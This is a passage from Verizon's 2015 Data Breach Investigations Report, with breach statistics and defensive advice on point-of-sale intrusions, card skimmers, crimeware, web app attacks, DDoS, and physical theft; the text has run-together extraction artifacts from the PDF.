compromised records.Figure 23. Ranges of expected loss by number of recordsLarger organizations have higher losses per breach, but they typically lose more records and have higher overall costs. 2015 DATA BREACH INVESTIGATIONS REPORT 31During the production of the 2013 DBIR we had the crazy idea that there must be a way to reduce the majority of attacks into a handful of attack patterns, and we proved our theory with great success in the 2014 DBIR. We used the same hierarchical clustering technique on the 2015 corpus and—lo and behold—it worked again (data science FTW!). The headliner from the 2014 DB iR was that 92% of all 100,000+ incidents collected over the last 10 years fell into nine basic patterns. Thankfully, that finding held true this past year as well (96%), so we avoid getting egg on our face. Yay. While the threats against us may “seem” innumerable, infinitely varied, and ever-changing, the reality is they aren’t. This is nifty from a data-wonk perspective, but the real power of that statistic lies in what it means for security risk management. i t suggests that, while the threats against us may seem innumerable, infinitely varied, and ever changing, the reality is they aren’t. This certainly doesn’t diminish the significant challenges faced by defenders, but it does imply a threat space that is finite, understandable, and at least somewhat measurable. i f that is indeed the case—and 11 years of data is a pretty strong baseline—then threats may just be more manageable than some of the we-should-all-just-give-up-now-because-our-adversaries-are-superhuman crowd likes to promote.INCIDENT CLASSIFICATION PATTERNS Figure 24. Frequency of incident classification patterns across security incidents0.1%0.7%0.8%3.9%4.1%15.3%20.6%25.1%29.4% PAYMENT CARD SKIMMERSPOS INTRUSIONSCYBER-ESPIONAGEDENIAL OF SER VICEWEB APP ATTACKSPHYSICAL THEFT/LOSSINSIDER MISUSECRIME WAREMISCELLANEOUS ERRORS96% WHILE WE SAW MANY CHANGES IN THE THREAT LANDSCAPE IN THE LAST 12 MONTHS, THESE PATTERNS STILL COVERED THE VAST MAJORITY OF INCIDENTS (96%). 32 VERIZON ENTERPRISE SOLUTIONSThere are a few interesting things to note about the breakdown of incident patterns. Let’s start with Figure 24, which addresses all security incidents reported for 2014. i t may not be obvious at first glance, but the common denominator across the top four patterns—accounting for nearly 90% of all incidents—is people. Whether it’s goofing up, getting infected, behaving badly, or losing stuff, most incidents fall in the PEBKAC and i D-10T über-patterns. At this point, take your index finger, place it on your chest, and repeat “ i am the problem,” as long as it takes to believe it. Good—the first step to recovery is admitting the problem. With that uncomfortable intervention out of the way, let’s hurriedly shift conversation to Figure 25, which focuses on confirmed data breaches. i t doesn’t remove the user aspect entirely, but it does allow us to point the finger in a different direction. 37 POS breaches jump up to the pole position, which shouldn’t be too much of a shocker given the headlines in 2014. Crimeware is still #2, but notice the difference in volume between Figures 24 and 25: i t essentially contrasts the stuff that makes your mom’s machine run like an 80386 versus the more malicious kits designed to pilfer data. The fact that Cyber-Espionage ranks higher than i nsider Misuse and Web App Attacks is rather surprising. i t’s hard to discern from the data if that’s due to legitimate trends, contributor foci, low-fidelity data, or a mix of all the above (probably the latter). Did Payment Card Skimmers and POS Intrusions go extinct in 2012? Nope. We just tripled contributors that year and brought in a large volume of new threats. Showing Figure 25 is risky because it may cause more confusion than valid conclusions, but what the heck—we live on the edge. Although we’d like it to purely reflect changes in the external threat environment over the years, it more realistically reflects changes to our data set caused by a rapidly expanding base of contributors. Did Payment Card Skimmers and Point- of-Sale i ntrusions really go extinct in 2012? Nope. We just tripled contributors that year and brought in a large volume of new/different threats (e.g., Miscellaneous Errors). Given that kind of volatility in the data set, it’s amazing that some, like i nsider Misuse and Web App Attacks, remain quite stable over time. Figure 26 gives a breach-centric view of this same concept. 37 For now, ignore the fact that most of these breaches still involve some kind of indirect error or omission.Figure 25. Frequency of incident classification patterns with confirmed data breaches (n=1,598)0.1%3.1%3.3%8.1%9.4%10.6%18%18.8%28.5% DENIAL OF SER VICEPAYMENT CARD SKIMMERSPHYSICAL THEFT/LOSSMISCELLANEOUS ERRORSWEB APP ATTACKSINSIDER MISUSECYBER-ESPIONAGECRIME WAREPOS INTRUSIONSA lot of threat patterns didn’t reveal major trend changes. For this reason, some may wish to refer back to the 2014 DBIR for a primer on incident patterns. 2015 DATA BREACH INVESTIGATIONS REPORT 33So, take whatever you can from Figures 25 and 26, but don’t say we didn’t warn you about the dangers of building your five-year risk projections around them. View them more like puzzles that we’re piecing together over time. Figure 27 delivers another twist on incident pattern prevalence by adding in the threat actor element. The connection between state-affiliated groups and espionage earns the Captain Obvious award, but we thought the other pairings were worth showing. We gave our data visualization experts the challenge of making an even more information-dense version of Figure 19 from last year’s report. Figure 28, on the next page, is what they came up with. Not only does it show the frequency of breaches and distributed denial-of-service (DDoS) patterns across industries, but also a three-year trend via the bar charts in the background. To use Figure 29, identify your industry in the right-hand column. Refer to the NA iCS website 38 if you’re unsure where 38 census.gov/cgi-bin/sssd/naics/naicsrch?chart=2012Figure 27. Count of incident classification patterns over time with confirmed data breaches¬ Insider Misuse: 129 ¬ POS Intrusions: 419 ¬ Cyber-Espionage: 290 ¬ Payment Card Skimmers: 108 ¬ Web App Attacks: 458 ¬ Physical Theft/Loss 35 ¬ Crimeware: 287 ¬ Miscellaneous Errors: 11 2006 2007 2008 2009 2010 2011 2012 2013 2014Figure 26. Frequency of incident classification patterns over time across security incidents 2006 2007 2008 2009 2010 2011 2012 2013 2014 0 0.2 0.4 0.6 0.8 1¬ Web App Attacks ¬ Insider Misuse ¬ POS Intrusions ¬ Payment Card Skimmers ¬ Miscellaneous Errors ¬ Physical Theft/Loss ¬ Denial of Service ¬ Cyber-Espionage ¬ Crimeware 34 VERIZON ENTERPRISE SOLUTIONSyour organization fits. The percentages are relative to each industry. For example, POS attacks represent 91% of all Accommodation breaches. The coloring should help you quickly identify hot spots for your industry and/or discern differing threat profiles across multiple industries. Repeat readers will find this year’s incident pattern sections quite a bit shorter than last year. Besides making room for the “Before and Beyond the Breach” segment, there are two main reasons for this tack: 1) A lot of the data lacked the details necessary to dig deep enough to strike new gold, and 2) a lot of the threat patterns didn’t reveal major trend changes. Honestly, how much can the underlying forces of Physical Theft/Loss change in a year’s time? For this reason, some may wish to refer back to the 2014 DB iR for a primer on the incident patterns. i n the following sections, we aim to highlight new, interesting, insightful, and instructive nuggets of wisdom rather than restate the basics. i t’s our hope that this to-the-point approach strikes a good and useful balance.39 39 if you want to see how well your own organization fares with these stats or if you want to get more insight into the patterns, take a look at the Splunk app for DB iR, at splunkbase.splunk.com/ .Figure 29. Frequency of data disclosures by incident patterns and victim industryFigure 28. Frequency of data breaches by incident patterns and threat actorCRIMEWARECYBER− ESPIONAGEDENIAL OF SERVICEPHYSICAL THEFT / LOSSMISCELLANEOUS ERRORSPAYMENT CARD SKIMMERSPOINT OF SALEINSIDER MISUSEWEB APP ATTACKS 3% 73% 41% 5% 97% 3% 31% 5% 18% 2% 6% 6% 1% 3% 61% 20% 3% 22%ACTIVIST ORGANIZED CRIME STATE− AFFILIATED UNAFFILIATED 1% 32% 36% 1% 14% 34% 25% 51% 11% 9% 15% 4% 37% 60% 14% 8% 52% 5% 1% 11% 2% 16% 2% 25% 2% 3% 2% 27% 26% 13% 7% 32% 5% 17% 10% 23% 14% 7% 10% 91% 73% 12% 8% 5% 70% 5% 45% 9% 7% 11% 26% 7% 4% 79% 33% 4% 11% 3% 1% 18% 9% 7% 31% 9% 35% 1% 8% 4% 6% 5%ACCOMMODATION ADMINISTR ATIV E EDUCATIONAL ENTER TAINMENT FINANCIAL SERVICES HEALTHCARE INF ORMATION MAN UFACTUR ING MINING OTHER SER VICES PROF ESSIONAL PUB LIC RETAILCRIMEWARECYBER− ESPIONAGEDENIAL OF SERVICEPHYSICAL THEFT / LOSSMISCELLANEOUS ERRORSPAYMENT CARD SKIMMERSPOINT OF SALEINSIDER MISUSEWEB APP ATTACKS 2015 DATA BREACH INVESTIGATIONS REPORT 35POINT-OF-SALE INTRUSIONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE We debated at length40 whether to rename this pattern to “The POS Paradox” or keep it as just plain ol’ “Point-of-Sale Intrusions.” You can see where we ended up, but you might want to pop some more popcorn as we take you on a walk down memory lane to see where POS incidents have been and where they are today. When POS breaches were at their peak (back in the 2011 and 2012 DB iRs), there was little buzz about them in information security circles. We suspect that’s because those breaches generally involved small businesses and low-dollar amounts. i n truth, it seemed a bit strange to us to make a big deal out of 43 pwnd PANs from “Major Carl’s i talian Eats” too, especially given the jackpot hauls of just a few years earlier. After the dust settled from prosecutions of perpetrators involved in the megabreaches in the 2005–2009 time frame, we were beginning to think that massive payment card plunders were becoming a bit passé—with smaller, opportunistic POS intrusions becoming commonplace. The fruitful combination of i nternet-facing POS devices and default passwords made compromise trivial for attackers, and the smaller amounts of compromised data mixed with the lack of logging (or any controls, really) limited the likelihood of getting caught. Then Q4 of 2013 happened, crushing the idea that high-profile, headline-grabbing, payment card breaches had been put out to pasture, with Code Red, SQL Slammer, and phone phreaking. The evolution of attacks against POS systems continued in 2014 with large organizations suffering breaches alongside the small retailers and restaurants that had been the cash cows for years. Despite the actors and actions being the same for the majority of breaches, the impacts on large and small organization POS breaches are far from identical, as seen in Figure 30. 40 Yep, we did. That’s how we roll. But, we’re really fun at parties. Honest.POINT-OF-SALE INTRUSIONS Figure 30. Compromised payment card records from assets by organizational size (small is less than 1,000 employees) over time 2013 2014 2015 2009 2010 2011 2012 POS (Small) POS (Large) Everything Else (Small) Everything Else (Large) Databases (Small) Databases (Large)Most affected industries: Accommodation, Entertainment, and Retail 36 VERIZON ENTERPRISE SOLUTIONSThere has been a definite evolution in POS attacks from simple storage scraping to active RAM skimming across all breach types. We can, however, see distinct differences between large and small organizations in the methods used to gain access to the POS devices. For small orgs, the POS device is directly targeted, normally by guessing or brute-forcing41 the passwords. Larger breaches tend to be a multi-step attack with some secondary system being breached before attacking the POS system.42 In 2014, the evolution of attacks against POS systems continued, with large organizations suffering breaches alongside the small retailers and restaurants. Criminal innovation is not limited to the Payment Card Skimmers pattern.43 Last year, there were several instances where vendors providing POS services were the source of the compromise. Some vendors had keyloggers installed via successful phishing campaigns or network penetrations. All breached POS vendors ended up with their remote access credentials compromised, inviting attackers into customer environments where the card harvesting began. We also noticed a trend in a shift from a reliance on default credentials to the capture and use of stolen credentials. These are also not mere opportunistic attacks. Many incidents involved direct social engineering of store employees (often via a simple phone call) in order to trick them into providing the password needed for remote access to the POS. Attacks on POS systems are not new, and they are relevant to organizations big and small that are swiping cards to collect revenue. The attack methods are becoming more varied, even against small businesses. This is an indication that the threat actors are able to adapt, when necessary, to satisfy their motives (and greed will not be trending down anytime soon). HOW DO I LEARN MORE?Find out what monitoring options are available for your POS environment (if any) and start using them. Your level of diligence must match the increased level of sophistication and patience being demonstrated by the hackers. While we have tried to refrain from best practices advice this year, there’s no getting around the fact that credentials are literally the keys to the digital kingdom. i f possible, improve them with a second factor such as a hardware token or mobile app and monitor login activity with an eye out for unusual patterns. 41 396 incidents in the DB iR corpus. 42 This is eerily similar to cases in the Cyber-Espionage pattern. 43 At least some enterprises, albeit criminal ones, are using Six Sigma effectively.Larger breaches tend to be a multi-step attack with some secondary system being breached before attacking the POS system.POINT-OF-SALE INTRUSIONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 2015 DATA BREACH INVESTIGATIONS REPORT 37Long-time readers of the DBIR can no doubt recite the core elements of this pattern by chapter and verse: Eastern European actors target U.S. victims through skimming devices on ATMs and gas pumps.44 Unsurprisingly, little has changed. So little, in fact, that we’ll ask you to keep last year’s section open to pages 35 and 36 while we hone in on one bit of good news in the 2015 data set: i n instances where law enforcement can determine the start of a skimming attack, detection times are definitely getting better, shifting from months and weeks to hours and days. One bit of good news: Detection times are definitely getting better, shifting from months and weeks to hours and days. OUT OF SIGHT, OUT OF CASH? The stories in this pattern may read like ancient sagas, but the actors continue to innovate. Previous DB iRs document the use of locally mounted pinhole cameras and remote cameras (both designed to obtain the coveted P iN) and the use of remote stripe-data collection via Bluetooth® or cellular devices. This year’s improvements include the use of ridiculously thin and translucent skimmers that fit inside the card reader slot, as well as direct tapping of the device electronics to capture the data with nary a trace of visibility. Gone (mostly) are the days of the quick tug to test for the presence of these devices. Still, all it really takes to thwart certain classes of these card-present cybercrime advancements is shielding the video capture component with your hand; and—remember—be as creative as you like when doing so. 44 2014 DB iR, Pattern Chapter 6, Paragraph 1, Verse 1.PA YMENT CARD SKIMMERS Figure 31. Time to discovery within Payment Card Skimmers pattern (n=22)36.4% 27.3% 4.5%9.1% 0%4.5%18.2% 0% SECONDS MINUTES HOURS DAYS WEEKS MONTHS YEARS NEVERMost affected industries: Financial Services and RetailPOiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKIMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 38 VERIZON ENTERPRISE SOLUTIONSCHIP AND SKIM in October of 2015, the Europay, MasterCard, and Visa (EMV) chip-and-P iN mandate goes into full effect in the U.S., just as we learn that poor implementations are still left vulnerable to attack.45 Furthermore, despite a date being set, it will take time to deploy new equipment to a critical mass of merchants and to reissue cards to the still unP iNned masses. U.S. consumers who are eagerly awaiting the deadline may want to curb their enthusiasm just a bit. The main change46 that is taking place is an invisible (to the consumer) shift in liability. You’ll still see mag-stripe readers aplenty, and when there is an incidence of card fraud, whichever party has the lesser technology—merchants who haven’t upgraded their terminals or banks that haven’t issued new EMV cards—will bear the blame. Figure 32 tosses another wet blanket47 on heated expectations as it shows that the use of old- school cards remains high even in some regions with a plethora of new-school hardware; and, lest we forget, the U.S. will be playing catch up with the rest of the globe for many years. So, while we can (hopefully) expect to eventually see an overall reduction in physical skimmer- related incidents, attackers will: 1. initially continue to move to the easiest, current targets (i.e., areas with the lowest adoption rates). 2. Potentially increase the pace of current skimming activities (to get ahead of EMV adoption). 3. Attempt to exploit weaknesses that still surround EMV implementations. 4. Apply their technical and criminal prowess to other target-rich, yet related, vectors such as card-not-present/online transactions. HOW DO I LEARN MORE? Merchants should work with their providers to understand their chip-and-P iN reader options and look for solutions that are less prone to indirect attacks. Don’t just replace one bad bit of technology with another. Monitor your physical card environments through video surveillance and tamper monitoring to help continue the positive shift in time to detect (which will also help reduce overall merchant liability). For those merchants who deal primarily in card-not-present or online transactions, you might want to consider upping your game when it comes to fraud monitoring (you do have fraud monitoring systems/processes in place now, right?) and ensuring you have response plans in place when fraud eventually happens (and it will). 45 Mike Bond, Omar Choudary, Steven J. Murdoch, Sergei Skorobogatov, and Ross Anderson, Chip and Skim: Cloning EMV Cards with the Pre-Play Attack , Computer Laboratory, University of Cambridge, UK, 2012. cl.cam.ac.uk/~sjm217/papers/oakland14chipandskim.pdf 46 Remember, it’s “Chip and Signature” in the U.S., so it’s even weaker tech rolling out of the gate than Euro Chip and P iN. 47 EMV Adoption Report, EMVCo, June 2014. emvco.com/documents/EMVCo_EMV _Deployment_Stats.pdfFigure 32. EMV adoption rate (as of June 2014)72% 17%85% 54%86% 39%91% 24%99% 82% ASIA P ACIFICCANADA, LATIN AMER ICA, AND THE CARR IBEANAFR ICA & THE MIDDLE EASTEUROPE ZONE 2EUROPE ZONE 1 Terminal CardIn October 2015, the chip-and-PIN mandate goes into full effect in the United States. A word of caution—poor implementations are still vulnerable to attack.POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKIMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 2015 DATA BREACH INVESTIGATIONS REPORT 39To tag something solely as a malware incident is a common over-generalization and, as we all know, all generalizations are false. Malware is part of the event chain in virtually every security incident (it’s difficult to get a computer virus onto paper records in a box of file folders, though we suspect Hollywood will find some way to do that soon). Once these malevolent bytes invade a system, they surreptitiously usurp existing functionality and start performing actions of their own design. We see common one-two mal-punches in a few places, from maintaining persistence and staging advanced attacks (ref: Cyber-Espionage pattern) to capturing and exfiltrating data (ref: Point-of-Sale i ntrusions pattern). This catch-all Crimeware pattern represents malware infections within organizations that are not associated with more specialized classification patterns such as Cyber-Espionage or Point-of-Sale i ntrusions. Crimeware represents malware infections within organizations that are not associated with more specialized classification patterns. Like speeches by a politician, Crimeware incidents in our corpus are large in number and short on details, as these everyday incidents are less likely to receive a full forensic investigation or rise to the level of law enforcement involvement. They are also predominantly opportunistic and financially motivated in nature. CRIMEWARE Most affected industries: Public, Information, and Retail 0.6%0.7%1.5%3.3%4.9%8.8%9.5%10.3%65.4%84.4% CAPTURE STORED DATACLIENT−SIDE ATTACKROOTKITEXPOR T DATARANSOMW AREDOWNLOADERSPYW ARE/K EYLOGGERBACKDOORDOSC2 Figure 33. Variety of malware within Crimeware pattern (n=2,545)POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRIMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 40 VERIZON ENTERPRISE SOLUTIONSNot much changed in the way of details for the Crimeware pattern since its debut last year, but there were some notable differences worth a mention. First, malware used to launch DoS attacks jumped from #8 to #2 in threat action variety, with command-and-control (C2) continuing to defend its lead position. This isn’t surprising, as the rest of the malware threat actions rely on a robust command-and-control structure to function. (NOTE: There’s more on DoS in the Denial-of- Service Attacks pattern section). When there are confirmed data breaches, bank records and credentials traded places for the top spot, though we suspect credentials may be underrepresented given that it’s common practice for criminals to use keyloggers to steal credentials, which are ultimately used to gain banking information. One last item of interest here is that trade secrets were compromised in several cases in this pattern, even without espionage as the motive (they would have been in the Cyber- Espionage pattern and not here), which shows that even onesie-twosie malware can put very sensitive corporate data at risk. HOW DO I LEARN MORE? Our “Before and Beyond the Breach” featurette on malware confirms the volume and variety findings in this pattern on the threat side of the equation and also demonstrates that tools are available to enable organizations to do a relatively good job of discovering crimeware incidents. Quantifying the malware incident details is another matter. We suggest not only capturing and tracking your own malware incidents (i.e., COUNT ALL THE THiNGS!) but also spending the time necessary to get into the weeds to uncover what actions malicious programs were intent on carrying out in your environment. if you’re relegating the task of handling this run-of-the-mill malcode solely to your help desk in a set-it-and-forget-it process, we suggest you rethink that strategy, as you may be able to learn more from these incidents than you think.Figure 34. Variety of data compromised within Crimeware (n=223)Malware used to launch DoS attacks jumped from #8 to #2 in threat action variety, while command and control remains at #1. 6.7%6.7%7.2%8.1%13%17.9%18.4%18.4%29.6%59.6% SECRETSSOURCE CODEPAYMENTSYSTEMCOP YRIGHTEDINTER NALCLASSIFIEDPERSONALCREDENTIALSBANKPOiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRIMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 2015 DATA BREACH INVESTIGATIONS REPORT 41Aristotle once said that the avarice of mankind is insatiable. This philosophical insight is no less true for cybercriminals, since we can only assume that they were so distressed by last year’s DBIR findings (TLDR: ideology > greed) that this year, organized crime became the most frequently seen threat actor for Web App Attacks, with financial gain being the most common of the primary motives for attacking. This year, organized crime became the most frequently seen threat actor for Web App Attacks. A long time ago in a DB iR far, far away, we began to see high-profile instances of hackers targeting web servers just to set up an attack on a different target, a tactic known as a Strategic Web Compromise. We began to track this type of attack last year (so, it shows up in this year’s data) and we’re seeing that secondary attacks make up nearly two-thirds of Web App Attacks. Virtually every attack in this data set (98%) was opportunistic in nature, all aimed at easy marks. information, Financial Services, and Public entities dominate the victim demographics, but only a few industries fully escaped the attention of these criminal empires.WEB APP ATTACKS Figure 35. Variety of hacking actions within Web App Attacks pattern (n=205)1.5%2%3.4%6.3%6.8%8.3%8.3%19%40.5%50.7% OS COMMANDINGFORCED BROWSINGPATH TRAVERSALXSSBRUTE FORCEABUSE OF FUNCTIONALITYRFISQLIUSE OF BACKDOOR OR C2USE OF STOLEN CREDSMost affected industries: Information, Financial Services, and Public POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 42 VERIZON ENTERPRISE SOLUTIONSOne interesting sub-pattern distinguishes Financial Services from the rest. End-user devices were a factor in 82% of incidents and nearly a tenth of them involve some human element (phishing/ social). A look through the details of these incidents shows a common sequence of “phish customer ≥ get credentials ≥ abuse web application ≥ empty bank/bitcoin account.” Pulling back from a single industry view, we find that most of the attacks make use of stolen credentials, which is a story we’ve been telling since 1 AD48 Over 95% of these incidents involve harvesting credentials from customer devices, then logging into web applications with them. Cross-site scripting and SQL injection (SQLi) haven’t disappeared from the list but still seem less favored than simply using actual credentials. Unfortunately, the specific incidents are scant on details, but with so many credential lists available for sale or already in the wild, why should a criminal actually earn his/her keep through SQLi when a simple login will suffice? HOW DO I LEARN MORE? if you have a web presence (e-commerce or otherwise), you should be tracking user behavior and using some form of fraud detection to get an early warning of suspicious behavior. Load balancer logs, web application logs, and database transaction logs can all help identify malicious activity before your last bit of sensitive data is fully exfiltrated. Get a complete inventory of every component of your web presence (honestly, it’s not that hard) and ensure they are all in a regular patch cycle. Three-quarters of web app compromises are opportunistic, so this falls squarely under “the cost of doing business.” To combat Web App Attacks head-on, we recommend strengthening authentication. The use of two-factor authentication for web applications—even by customers—will go a long way toward keeping your organization from being used and abused. 48 Annum DB iR95% OF THESE INCIDENTS INVOLVE HARVESTING CREDENTIALS STOLEN FROM CUSTOMER DEVICES, THEN LOGGING INTO WEB APPLICATIONS WITH THEM.POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 2015 DATA BREACH INVESTIGATIONS REPORT 43Distributed denial-of-service (DDoS) attacks got worse again this year with our reporting partners logging double the number of incidents from last year. (In other shocking news: Water is wet.) However, we also noticed an interesting pattern that might have some practical implications for defenders. Essentially, we saw some indication that there may be two distinct tiers—or clusters—of DDoS attacks based on bandwidth, velocity, and duration. Before we get to that, we need to first tie up a thread that started in the Crimeware pattern. This year, we saw a significant jump in the DoS threat action variety associated with malware. These incidents came mostly from our computer emergency response team (CERT) partners (with additional ones coming from Arbor and Akamai), and involved the repurposing of servers/devices to be used in amplification/reflection attacks. These attacks rely on improperly secured services, such as Network Time Protocol (NTP), Domain Name System (DNS), and Simple Service Discovery Protocol (SSDP), which make it possible for attackers to spoof source i P addresses, send out a bazillion tiny request packets, and have the services inundate an unwitting target with the equivalent number of much larger payload replies. NTP topped the list 49 with max attack bandwidth hitting 325 Gbps, with SSDP jumping on the DoS boat for a 134 Gbps cruise. We saw some indication that there may be two distinct tiers—or clusters—of DDoS attacks based on bandwidth, velocity, and duration. Stepping back to the broader series of attacks, let’s start by looking at one subset of the DDoS data that comprises about a thousand of the “worst of the worst” DDoS incidents last year. instead of a single most common measure, bandwidth has two clusters around 15 and 59 Gbps, while velocity has clusters around 3 and 15 million packets per second. Data about attack duration similarly suggests clusters around one- and two-day average durations. When we saw this pattern emerge from several distinct subsets of DDoS incidents from different contributors, we decided it was worth highlighting. 49 For more detailed views of amplification attacks and DDoS attacks in general, check out reports from Arbor Networks (arbornetworks.com/resources/infrastructure-security-report ) and Akamai ( akamai.co m/stateoftheinternet ).DENIAL-OF-SERVICE ATTACKS Most affected industries: Public, Retail, and Financial Services 15.00 GB/S 59.00 GB/S 0.0000.0050.0100.0150.020 0 50 100 150 GB/SECONDDENSITY3.00 M/PPS 15.00 M/PPS 0.000.010.020.030.040.05 0 10 20 30 40 50 (MILLION) PACKETS PER SECONDDENSITY Figure 36. Density of bandwidth (left) and packets (right) in DDoS attacksPOiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKS DENIAL-OF- SERVICE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 44 VERIZON ENTERPRISE SOLUTIONSThe data geeks inside us want to hold this up first as an area worth further research. What is actually going on here? Are we seeing two tiers of DDoS actors, maybe ideologically motivated and criminal? Or, are we seeing two tiers of DDoS-for-hire criminal product tiers? We’ll need better data, especially around actors, to support any solid conclusions. HOW DO I LEARN MORE?Last year, it was hard to give much advice about DDoS beyond just saying “plan ahead.” We hope this data might bring additional solid numbers to those planning conversations. Even without full knowledge of the underlying details of the criminal machinations, we think there are also some practical takeaways. We’ll begin with service providers, a term that includes anyone who runs their own UDP-based services and even those with home routers: Secure your services (which means knowing where your services are and how they’re configured). Block access to known botnet C2 servers 50 and patch your systems to help stop malware from turning your nodes into hapless automatons of doom. For larger providers, anti-spoofing filters at the i nternet edge can also help prevent reflection/amplification techniques. To understand how your organization would react to a DDoS attack, conduct regular drills/ exercises to see where you need to shore up processes and, perhaps, add technology or external mitigation services to help maintain or restore services. This year’s data also has us wondering whether it means there might be room for less expensive, medium-sized mitigations that would protect against many if not all DDoS attacks.51 Finally, we want to point out that there are still significant differences in the way in which victims are affected by DDoS incidents, so check out Figure 37 to see how prevalent they really are in your industry. INDUSTRY TOTAL SMALL LARGE UNKNOWN Accommodation ( 72) 140 0 80 60 Administrative ( 56) 164 0 1 163 Agriculture ( 11) 0 0 0 0 Construction ( 23) 0 0 0 0 Educational ( 61) 10 0 0 10 Entertainment ( 71) 1 0 0 1 Financial Services (52 ) 184 1 17 166 Healthcare ( 62) 17 3 1 13 information ( 51) 72 16 8 48 Management ( 55) 2 0 1 1 Manufacturing ( 31–33 ) 157 2 22 133 Mining ( 21) 3 0 0 3 Other Services (81 ) 11 3 0 8 Professional ( 54) 161 4 1 156 Public ( 92) 435 0 245 190 Real Estate (53 ) 0 0 0 0 Retail ( 44–45 ) 207 1 3 203 Trade ( 42) 6 6 0 0 Transportation ( 48–49 ) 3 0 0 3 Utilities ( 22) 2 0 0 2 Unknown 860 0 0 860 TOTAL 2,435 36 379 2,020 50 And, the good news from our “Beyond the Breach” section is that you’ve got a plethora of “indicators of compromise” lists to choose from. 51 Contact your security department if DDoS attacks last longer than four hours and ask your service provider which DDoS mitigation may be right for you.Figure 37. Number of DDoS attacks by victim industry and organization size (small is < 1,000 employees)A message for service providers: Secure your services. Block access to known botnet C2 servers and patch your systems. POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKS DENIAL-OF- SERVICE ATTACKSPHYS iCAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 2015 DATA BREACH INVESTIGATIONS REPORT 45Most affected industries: Public, Healthcare, and Financial Services We were almost at a loss for words for this section and, if you were hoping this would finally be the year for a spike in stolen mainframes, we’re afraid we must let you down (again). As was the case with our previous reports, people are people; so, why should it be that we expect perfection when it comes to the physical security of their corporate devices? Also (predictably), folks still steal things. The data is heavily biased toward U.S. industries (99.8%) that operate under mandatory disclosure regulations, with the Public sector dominating the field. (Healthcare was also well represented.) Despite valiant efforts by our crack team, all the king’s data scientists couldn’t find a chart or data visualization to put together that was actionable by you, our beloved readers and defenders. i n the end, every industry loses things, and almost all theft was opportunistic in nature. Like last year, most of the theft occurred within the victim’s work area—55% of incidents. There are no new tactics being used by the adversaries in this pattern to steal equipment. Like last year, most of the theft occurred within the victim’s work area (55% of incidents), but employee-owned vehicles (22% of incidents) are also a common location for thefts to occur. While we are not spending a significant amount of prime DB iR real estate discussing this further, this pattern is not to be taken lightly. The impact to an organization can be significant (if not equal to other data-loss events), depending on the sensitivity of the data resident on the asset(s) involved and the controls that have and have not been implemented to protect the confidentiality52 of and recoverability of the data. HOW DO I LEARN MORE? Work with your procurement department to know who has what, and track the volume and variety of devices lost each week/month to see if there’s a pattern of behavior you need to identify and prepare for. Make it super easy for folks to report lost or stolen devices, perhaps going so far as to incentivize your workforce to report all incidents within a certain number of hours (15% of incidents in this category still take days to discover). Full-disk encryption, locking down USB ports, password protection, and the ability to remote wipe continue to be the recommended countermeasures, as it’s much better to be ahead of these incidents than be behind the eight-ball.53 Protecting the data and documenting the steps you have taken to do so is likely the best you can do to avoid a painful post-incident series of events. 52 A quick and dirty text analysis of the public incidents that contributed to the VER iS Community Database portion of this data showed that unencrypted devices are still a big issue. “Unencrypted,” “not encrypted,” and “without encryption” were present in the OSiNT four times more than “was encrypted,” “encrypted passwords,” and similar phrases. 53 “Should i encrypt my laptops and thumb drives?” Calibrated magic risk-ball says: “Without a doubt.”PHYSICAL THEFT/LOSS 15% OF INCIDENTS STILL TAKE DA YS TO DISCOVER. INCENTIVIZE YOUR WORKFORCE TO REPORT ALL INCIDENTS WITHIN A CERTAIN NUMBER OF HOURS.POiNT-OF-SALE iNTRUSi ONSPAYMENT CARD SKiMMERSCRiMEWARE WEB APP ATTACKSDENi AL -OF- SERV iCE ATTACKS PHYSICAL THEFT/LOSSiNS iDER MiSUSEMiSCELLANEOUS ERRORSCYBER- ESP iONAGE 46 VERIZON ENTERPRISE SOLUTIONSThere you are, sipping Mai Tais on the beach, enjoying a well-deserved respite after installing all those shiny, new, advanced threat-mitigation devices at your perimeter, confident in your ability to detect those pesky and insidious external attackers bent on stealing your corporate secrets. You fire up your BlackBerry®54 only to be met with an e-mail subject line from a vendor that sends shivers down your back: “What are you doing to combat the insider threat?!” Looks like it’s time to get off the beach chair and back to work. The i nsider Misuse pattern shines a light on those in whom an organization has already placed trust—they are inside the perimeter 